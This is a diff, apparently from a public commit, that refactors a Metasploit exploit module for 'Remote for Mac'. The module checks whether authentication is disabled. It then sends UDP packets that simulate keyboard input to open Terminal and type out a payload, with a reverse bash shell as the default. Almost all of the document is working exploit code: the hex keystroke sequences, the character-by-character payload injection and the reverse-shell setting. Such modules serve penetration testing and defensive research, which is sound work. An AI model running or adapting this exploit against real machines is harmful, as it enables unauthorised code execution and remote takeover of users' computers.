@@ -5,6 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote
55 Rank = ExcellentRanking
66
77 include Msf ::Exploit ::Remote ::HttpClient
8+ include Msf ::Exploit ::Remote ::Udp
89
910 def initialize ( info = { } )
1011 super (
@@ -16,79 +17,54 @@ def initialize(info = {})
1617 When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
1718 without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
1819 arbitrary shell commands, achieving code execution as the current user.
19-
20- Tested on macOS Mojave and Ventura.
2120 } ,
2221 'Author' => [ 'Chokri Hammedi' ] ,
2322 'License' => MSF_LICENSE ,
2423 'References' => [
2524 [ 'URL' , 'https://packetstorm.news/files/id/196351/' ]
2625 ] ,
26+ 'Platform' => 'unix' ,
27+ 'Arch' => ARCH_CMD ,
28+ 'Targets' => [
29+ [
30+ 'Unix Shell' , {
31+ 'Platform' => 'unix' ,
32+ 'Arch' => ARCH_CMD
33+ }
34+ ]
35+ ] ,
36+ 'DefaultTarget' => 0 ,
37+ 'DefaultOptions' => {
38+ 'SSL' => true
39+ } ,
40+ 'DefaultPayload' => 'cmd/unix/reverse_bash' ,
41+ 'DisclosureDate' => '2025-05-27' ,
2742 'Notes' => {
2843 'Stability' => [ CRASH_SAFE ] ,
2944 'Reliability' => [ REPEATABLE_SESSION ] ,
3045 'SideEffects' => [ IOC_IN_LOGS , SCREEN_EFFECTS ]
31- } ,
32- 'Platform' => [ 'unix' , 'osx' ] ,
33- 'Arch' => ARCH_CMD ,
34- 'Targets' => [ [ 'Remote for Mac 2025.6' , { } ] ] ,
35- 'DefaultTarget' => 0 ,
36- 'DefaultPayload' => 'cmd/unix/reverse_bash' ,
37- 'DisclosureDate' => '2025-05-27'
46+ }
3847 )
3948 )
40-
41- register_options (
42- [
43- Opt ::RHOSTS ( ) ,
44- Opt ::RPORT ( 49229 ) ,
45- OptBool . new ( 'SSL' , [ true , 'Use SSL for HTTP check' , true ] ) ,
46- OptString . new ( 'TARGETURI' , [ true , 'Base URI path' , '/' ] ) ,
47- ]
48- )
4949 end
5050
51- def check_auth_disabled?
52- protocol = datastore [ 'SSL' ] ? 'https' : 'http'
53- vprint_status ( "Checking authentication on #{ protocol } ://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } #{ datastore [ 'TARGETURI' ] } api/getVersion" )
54-
55- begin
56- res = send_request_cgi ( {
57- 'method' => 'GET' ,
58- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'api' , 'getVersion' ) ,
59- 'ctype' => 'application/json' ,
60- 'ssl' => datastore [ 'SSL' ] ,
61- 'rport' => datastore [ 'RPORT' ] ,
62- 'rhost' => datastore [ 'RHOSTS' ]
63- } )
64-
65- if res &.code == 200
66- json = JSON . parse ( res . body )
67- if json [ 'requires.auth' ] == false
68- print_good ( 'Authentication is disabled. Target is vulnerable.' )
69- return true
70- else
71- print_error ( 'Authentication is enabled. Exploit aborted.' )
72- return false
73- end
74- else
75- print_error ( 'Unexpected response from target' )
76- return false
77- end
78- rescue ::Rex ::ConnectionError , JSON ::ParserError => e
79- print_error ( "Connection or parsing error: #{ e . message } " )
80- return false
81- end
82- end
51+ def check
52+ res = send_request_cgi ( {
53+ 'method' => 'GET' ,
54+ 'uri' => normalize_uri ( target_uri . path , 'api' , 'getVersion' )
55+ } )
8356
84- def exploit
85- unless check_auth_disabled?
86- fail_with ( Failure :: NotVulnerable , 'Target requires authentication or is unreachable' )
87- end
57+ return CheckCode :: Safe ( 'Application might not be Remote For Mac' ) unless res &. code == 200
58+
59+ json_body = res . get_json_document
60+ auth_enabled = json_body . fetch ( 'requires.auth' , nil )
8861
89- udp_port = datastore [ 'RPORT' ]
90- target_ip = datastore [ 'RHOSTS' ]
62+ return CheckCode ::Appears ( 'Authentication is disabled, target is vulnerable' ) if auth_enabled == 'false'
9163
64+ CheckCode ::Detected ( 'Remote For Mac detected, but authentication enabled' )
65+ end
66+
67+ def exploit
9268 initial_packets_hex = [
9369 '07000200370001' ,
9470 '07000200370001' ,
@@ -102,45 +78,43 @@ def exploit
10278 '07000200240000'
10379 ]
10480
105- udp_sock = UDPSocket . new
106- udp_sock . connect ( target_ip , udp_port )
81+ udp_sock = connect_udp
10782
10883 print_status ( 'Simulating system keyboard input to open Terminal...' )
10984 initial_packets_hex . each do |hexpkt |
110- udp_sock . send ( [ hexpkt ] . pack ( 'H*' ) , 0 )
85+ udp_sock . put ( [ hexpkt ] . pack ( 'H*' ) )
11186 select ( nil , nil , nil , 0.05 )
11287 end
11388
11489 prefix = [ 0x06 , 0x00 , 0x03 , 0x00 ] . pack ( 'C*' )
11590 'terminal' . each_char do |ch |
11691 pkt = prefix + ch . encode ( 'utf-16le' ) . force_encoding ( 'ASCII-8BIT' )
117- udp_sock . send ( pkt , 0 )
92+ udp_sock . put ( pkt )
11893 select ( nil , nil , nil , 0.1 )
11994 end
12095
12196 final_packets_hex . each do |hexpkt |
122- udp_sock . send ( [ hexpkt ] . pack ( 'H*' ) , 0 )
123- select ( nil , nil , nil , 0.1 )
97+ udp_sock . put ( [ hexpkt ] . pack ( 'H*' ) )
12498 end
12599
100+ print_status ( 'Initial sequence finished, waiting for terminal to be spawned..' )
101+
126102 sleep ( 2 )
127103
128104 shell_cmd = payload . encoded
129105 print_status ( 'Sending malicious payload to be executed...' )
130106
131107 shell_cmd . each_char do |ch |
132108 pkt = prefix + ch . encode ( 'utf-16le' ) . force_encoding ( 'ASCII-8BIT' )
133- udp_sock . send ( pkt , 0 )
109+ udp_sock . put ( pkt )
134110 select ( nil , nil , nil , 0.1 )
135111 end
136112
137113 final_packets_hex . each do |hexpkt |
138- udp_sock . send ( [ hexpkt ] . pack ( 'H*' ) , 0 )
139- select ( nil , nil , nil , 0.1 )
114+ udp_sock . put ( [ hexpkt ] . pack ( 'H*' ) )
140115 end
141116
142117 print_good ( 'Payload sent. Awaiting session...' )
143- ensure
144- udp_sock . close if udp_sock
118+ disconnect_udp ( udp_sock )
145119 end
146120end
0 commit comments